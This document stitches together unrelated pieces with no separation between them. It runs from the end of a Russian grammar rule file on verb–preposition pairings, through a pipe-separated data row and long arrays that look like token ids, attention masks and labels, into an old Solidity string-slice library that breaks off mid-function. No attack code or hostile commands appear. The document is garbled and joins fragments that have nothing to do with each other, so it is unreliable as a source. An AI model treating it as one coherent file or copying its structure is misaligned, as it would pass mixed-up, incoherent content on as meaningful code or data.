rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
|
протестировать на профпригодность
|
rus_verbs:протестировать{},
| 5,486,465 |
[
1,
4625,
348,
7953,
560,
30,
225,
225,
145,
128,
146,
227,
145,
127,
146,
229,
145,
118,
146,
228,
146,
229,
145,
121,
146,
227,
145,
127,
145,
115,
145,
113,
146,
229,
146,
239,
225,
145,
126,
145,
113,
225,
145,
128,
146,
227,
145,
127,
146,
231,
145,
128,
146,
227,
145,
121,
145,
116,
145,
127,
145,
117,
145,
126,
145,
127,
146,
228,
146,
229,
146,
239,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
436,
407,
67,
502,
2038,
30,
145,
128,
146,
227,
145,
127,
146,
229,
145,
118,
146,
228,
146,
229,
145,
121,
146,
227,
145,
127,
145,
115,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
library Strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
* @dev Returns a slice containing the entire string.
* @param self The string to make a slice from.
* @return A newly allocated slice containing the entire string.
*/
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
/*
* @dev Returns the length of a null-terminated bytes32 string.
* @param self The value to find the length of.
* @return The length of the string, from 0 to 32.
*/
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
/*
* @dev Returns a slice containing the entire bytes32, interpreted as a
* null-termintaed utf-8 string.
* @param self The bytes32 value to convert to a slice.
* @return A new slice containing the value of the input argument up to the
* first null.
*/
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
/*
* @dev Returns a new slice containing the same data as the current slice.
* @param self The slice to copy.
* @return A new slice containing the same data as `self`.
*/
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
/*
* @dev Copies a slice to a new string.
* @param self The slice to copy.
* @return A newly allocated string containing the slice's text.
*/
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
/*
* @dev Returns the length in runes of the slice. Note that this operation
* takes time proportional to the length of the slice; avoid using it
* in loops, and call `slice.empty()` if you only need to know whether
* the slice is empty or not.
* @param self The slice to operate on.
* @return The length of the slice in runes.
*/
function len(slice self) internal returns (uint) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
/*
* @dev Returns true if the slice is empty (has a length of 0).
* @param self The slice to operate on.
* @return True if the slice is empty, False otherwise.
*/
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
/*
* @dev Returns a positive number if `other` comes lexicographically after
* `self`, a negative number if it comes before, or zero if the
* contents of the two slices are equal. Comparison is done per-rune,
* on unicode codepoints.
* @param self The first slice to compare.
* @param other The second slice to compare.
* @return The result of the comparison.
*/
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Returns true if the two slices contain the same text.
* @param self The first slice to compare.
* @param self The second slice to compare.
* @return True if the slices are equal, false otherwise.
*/
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
/*
* @dev Extracts the first rune in the slice into `rune`, advancing the
* slice to point to the next rune and returning `self`.
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
/*
* @dev Returns the first rune in the slice, advancing the slice to point
* to the next rune.
* @param self The slice to operate on.
* @return A slice containing only the first rune from `self`.
*/
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
/*
* @dev Returns the number of the first codepoint in the slice.
* @param self The slice to operate on.
* @return The number of the first codepoint in the slice.
*/
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint len;
uint div = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
var b = word / div;
if (b < 0x80) {
ret = b;
len = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
len = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
len = 3;
} else {
ret = b & 0x07;
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
return 0;
}
for (uint i = 1; i < len; i++) {
div = div / 256;
b = (word / div) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := sha3(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/*
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
/*
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice self, slice needle) internal returns (uint count) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
